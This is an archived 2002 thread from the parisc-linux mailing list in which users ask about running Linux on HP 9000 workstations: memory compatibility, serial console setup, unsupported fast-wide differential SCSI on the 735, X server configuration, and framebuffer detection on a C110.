To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 28 14:29:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (h014.c007.snv.cp.net [209.228.33.242])
	by dsl2.external.hp.com (Postfix) with SMTP id 93F3D4840
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Jun 2002 14:29:43 -0600 (MDT)
Original-Received: (cpmta 20071 invoked from network); 28 Jun 2002 13:29:27 -0700
Original-Received: from 65.187.198.65 (HELO ?192.168.0.67?)
  by smtp.directvinternet.com (209.228.33.242) with SMTP; 28 Jun 2002 13:29:27 -0700
X-Sent: 28 Jun 2002 20:29:27 GMT
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15249

Are the weird memory modules in the 755 and 730 compatible?  I have a 
755 with 384MB and recently acquired a 730 with 16 and was wondering 
if I could somehow even things out a little.
-The other question: I was going to set the console on the 730 to 
tty_a, and went into the admin menu and said 'path console 
serial_a'(or whatever the right syntax according to help console is). 
'path' then returned the correct value for console, but upon reboot, 
nothing out of serial and the monitor displayed all of the boot info. 
What did I miss?
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chuck" <atkinsc@yifan.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735 and FW SCSI
Date: Fri, 28 Jun 2002 17:19:27 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <MDEAIMOKAJDADFOAOOJEKECICAAA.atkinsc@yifan.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621443 9430 80.91.229.3 (22 Nov 2014 01:57:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 28 16:19:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yifansoft.com (ns1.yifansoft.com [64.61.26.50])
	by dsl2.external.hp.com (Postfix) with SMTP id A546B4841
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Jun 2002 16:19:22 -0600 (MDT)
Original-Received: (qmail 28937 invoked from network); 28 Jun 2002 22:18:03 -0000
Original-Received: from unknown (HELO cx1136049a) (68.0.65.137)
  by host6.yifansoft.com with SMTP; 28 Jun 2002 22:18:03 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15250

I have a 735/125 and I'm trying to install parisc-linux using the 0.9.3 ISO
but it doesnt detect any of my harddisks.  It seems the kernel doesnt load
support for the FW SCSI controller which the disks are on.  It loads the
driver for the other scsi controller but not the FW SCSI controller.  Is
there any way I can get parisc-linux to recognize my FW SCSI controller for
the install?

Chuck





From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dennis Schneck <dennisschneck@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Series 9000  715/64
Date: Sat, 29 Jun 2002 12:15:20 +0200
Organization: http://freemail.web.de/
Lines: 59
Approved: news@gmane.org
Message-ID: <200206291015.g5TAFJX13038@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621444 9431 80.91.229.3 (22 Nov 2014 01:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 29 04:15:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 006564842
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Jun 2002 04:15:31 -0600 (MDT)
Original-Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46])
	by mailgate5.cinetic.de (8.11.2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id g5TAFJX13038
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Jun 2002 12:15:20 +0200
Precedence: fm-user
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15251


Hello,


soory about my poor english

i have a HP 715/64 Workstation.
I have installed the Debian Woody 3.0 pre relase on it.

the kenrel for ../64 don't run but the .../32


kernel 2.4.9-32 hppa




my problem is, i cant start the X-Server



i tryed to configure the x-server but i dosent run.



witch  vga-card must i select   in the xf98config ???


or is there a tool to "auto configure" the x-server   like the Xconfiguator from redhat ???

thanks


bye

dennis


-- 
Dennis Schneck

e-Mail: schneck@bigfoot.de
http://www.dennisschneck.de.vu

UMTS 01212-5-105-18-026 (Fax. / Voice)

--------------------------------------------------

Attach not bigger than 1,7 MB. Thanks !

Anhaenge nicht grosser als 1,7 MB senden. Danke !

--------------------------------------------------
______________________________________________________________________________
All inclusive! 100 MB Speicher, SMS 50% gunstiger, 32 MB Attachment-Gro?e, 
Preisvorteile und mehr unter http://club.web.de/?mc=021104




From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP Series 9000  715/64
Date: Sat, 29 Jun 2002 12:35:00 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200206291235.00806.deller@gmx.de>
References: <200206291015.g5TAFJX13038@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621444 9435 80.91.229.3 (22 Nov 2014 01:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:24 +0000 (UTC)
To: Dennis Schneck <dennisschneck@web.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 29 04:35:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0FF704843
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Jun 2002 04:35:24 -0600 (MDT)
Original-Received: (qmail 23789 invoked by uid 0); 29 Jun 2002 10:35:18 -0000
Original-Received: from pd90403eb.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.235)
  by mail.gmx.net (mp011-rz3) with SMTP; 29 Jun 2002 10:35:18 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <200206291015.g5TAFJX13038@mailgate5.cinetic.de>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15252

Hi Dennis,

please read the PARISC-Linux FAQ at http://www.parisc-linux.org/faq/index.html

Greetings,
Helge

On Saturday 29 June 2002 12:15, Dennis Schneck wrote:
> Hello,
>
> soory about my poor english
>
> i have a HP 715/64 Workstation.
> I have installed the Debian Woody 3.0 pre relase on it.
>
> the kenrel for ../64 don't run but the .../32
> kernel 2.4.9-32 hppa
> my problem is, i cant start the X-Server
> i tryed to configure the x-server but i dosent run.
> witch  vga-card must i select   in the xf98config ???
> or is there a tool to "auto configure" the x-server   like the Xconfiguator
> from redhat ???
>
> thanks
> bye
> dennis




From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and FW SCSI
Date: Sat, 29 Jun 2002 22:31:26 +0800
Lines: 34
Approved: news@gmane.org
Message-ID: <20020629223123.A24671@neep.com.au>
References: <MDEAIMOKAJDADFOAOOJEKECICAAA.atkinsc@yifan.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621444 9445 80.91.229.3 (22 Nov 2014 01:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:24 +0000 (UTC)
Cc: Chuck <atkinsc@yifan.net>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 29 08:31:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A8CF4845
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Jun 2002 08:31:28 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id WAA25722;
	Sat, 29 Jun 2002 22:31:29 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Chuck <atkinsc@yifan.net>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <MDEAIMOKAJDADFOAOOJEKECICAAA.atkinsc@yifan.net>; from atkinsc@yifan.net on Fri, Jun 28, 2002 at 05:19:27PM -0500
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15253

Chuck said:
> I have a 735/125 and I'm trying to install parisc-linux using the 0.9.3 ISO
> but it doesnt detect any of my harddisks.  It seems the kernel doesnt load
> support for the FW SCSI controller which the disks are on.  It loads the
> driver for the other scsi controller but not the FW SCSI controller.  Is
> there any way I can get parisc-linux to recognize my FW SCSI controller for
> the install?
> 
> Chuck

I might be wrong, but I think the 735's "Outfield" fast-wide SCSI
adapter is not supported - at least not in the kernel on the 0.9.3
CDROM (2.4.9).  The 0.9.3 ISO is a bit old by now, it was released six
months ago in Dec 2001.  The CVS kernel is up to version 2.4.18-pa44.  

Can you move your diskss to the supported controller?  That way at least
you'll be able to get an install happening.

Current net-install CDROM images can be downloaded here:

  http://pateam.esiee.fr/download.html

Please read through this mailing list's archives for information on
installing with these images, as well as Q&As about hardware support.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and FW SCSI
Date: Sat, 29 Jun 2002 12:41:45 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200206291641.g5TGfjDN018674@hiauly1.hia.nrc.ca>
References: <20020629223123.A24671@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621445 9450 80.91.229.3 (22 Nov 2014 01:57:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, atkinsc@yifan.net
To: andrew@neep.com.au (Andrew Shugg)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 29 10:41:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 010754847
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Jun 2002 10:41:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5TGfkFN018675;
	Sat, 29 Jun 2002 12:41:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5TGfjDN018674;
	Sat, 29 Jun 2002 12:41:45 -0400 (EDT)
In-Reply-To: <20020629223123.A24671@neep.com.au> from "Andrew Shugg" at Jun 29, 2002 10:31:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15254

> Can you move your diskss to the supported controller?  That way at least
> you'll be able to get an install happening.

The Outfield FW interface is differential.  Disks on this interface are
not compatible with the suppored narrow interface.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and FW SCSI
Date: Sun, 30 Jun 2002 01:27:47 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20020630012744.A16287@neep.com.au>
References: <20020629223123.A24671@neep.com.au> <200206291641.g5TGfjDN018674@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621445 9452 80.91.229.3 (22 Nov 2014 01:57:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 29 11:27:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3F904847
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Jun 2002 11:27:43 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id BAA26373
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Jun 2002 01:27:51 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200206291641.g5TGfjDN018674@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Sat, Jun 29, 2002 at 12:41:45PM -0400
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15255

J. David Anglin said:
> The Outfield FW interface is differential.  Disks on this interface are
> not compatible with the suppored narrow interface.

Fast-wide differential?  I knew I was missing something.  And I've got
one of those beasts on a shelf behind me too ...  =)

Who has the power & might to update the Outfield FW entry in the hwdb
to include a note that it's differential SCSI?

Thanks for the correction, Dave.  I guess Chuck is going to have to find
some 'normal' SCSI disks, or go for the NFS-root option.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chuck" <atkinsc@yifan.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 735 and FW SCSI
Date: Sat, 29 Jun 2002 17:08:41 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <MDEAIMOKAJDADFOAOOJEKECMCAAA.atkinsc@yifan.net>
References: <20020630012744.A16287@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621445 9457 80.91.229.3 (22 Nov 2014 01:57:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 29 16:08:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yifansoft.com (ns1.yifansoft.com [64.61.26.50])
	by dsl2.external.hp.com (Postfix) with SMTP id 2B17C48A6
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Jun 2002 16:08:35 -0600 (MDT)
Original-Received: (qmail 14818 invoked from network); 29 Jun 2002 22:07:10 -0000
Original-Received: from unknown (HELO cx1136049a) (68.0.65.137)
  by host6.yifansoft.com with SMTP; 29 Jun 2002 22:07:10 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <20020630012744.A16287@neep.com.au>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15256

Well would I be able to use the current netinst iso to install onto the
FWSCSI HD?

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Andrew
Shugg
Sent: Saturday, June 29, 2002 12:28 PM
To: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] 735 and FW SCSI


J. David Anglin said:
> The Outfield FW interface is differential.  Disks on this interface are
> not compatible with the suppored narrow interface.

Fast-wide differential?  I knew I was missing something.  And I've got
one of those beasts on a shelf behind me too ...  =)

Who has the power & might to update the Outfield FW entry in the hwdb
to include a note that it's differential SCSI?

Thanks for the correction, Dave.  I guess Chuck is going to have to find
some 'normal' SCSI disks, or go for the NFS-root option.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux






From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree-4.2 and C110
Date: Sun, 30 Jun 2002 09:48:18 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <3D1F1A32.7060407@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621446 9464 80.91.229.3 (22 Nov 2014 01:57:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 08:47:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232])
	by dsl2.external.hp.com (Postfix) with ESMTP id 095854844
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 08:47:10 -0600 (MDT)
Original-Received: from 209-165-118-200.dsl.earthlink.net ([209.165.118.200] helo=cactus.bheadley.org)
	by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Ofyn-0007gv-00
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Jun 2002 07:47:09 -0700
Original-Received: from localhost.localdomain
	([127.0.0.1] helo=earthlink.net ident=bheadley)
	by cactus.bheadley.org with esmtp (Exim 3.35 #1 (Debian))
	id 17Og00-0001lA-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 09:48:24 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15257

Tried the new 4.2.0 snapshots on my C110. It tells me it cannot find the 
framebuffer, and can't support 24-bit color (even though 4.1 can).

The system appears to be looking in /proc/bus/pci to look for video 
cards and framebuffers, which is a bogus way to find video cards on a 
PC, too (VESA bus, ISA, EISA, MCA... where is that video card?)

On the sparc/32, they're going down /proc/openprom to find the video 
adapter; I'm wondering if it's appropriate to try to expose the device 
list the kernel sees during bootup as a /proc file, and then write a 
special handler like they have for "sbus".

I'm not too fond of synthesizing a "pci" directory, and making up fake 
IDs for things that aren't PCI cards...

a) anyone already come up with a better solution?
b) if one has to be developed, is a little file in /proc the way to go?

-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net




From - Thu Nov 08 21:23:20 2018
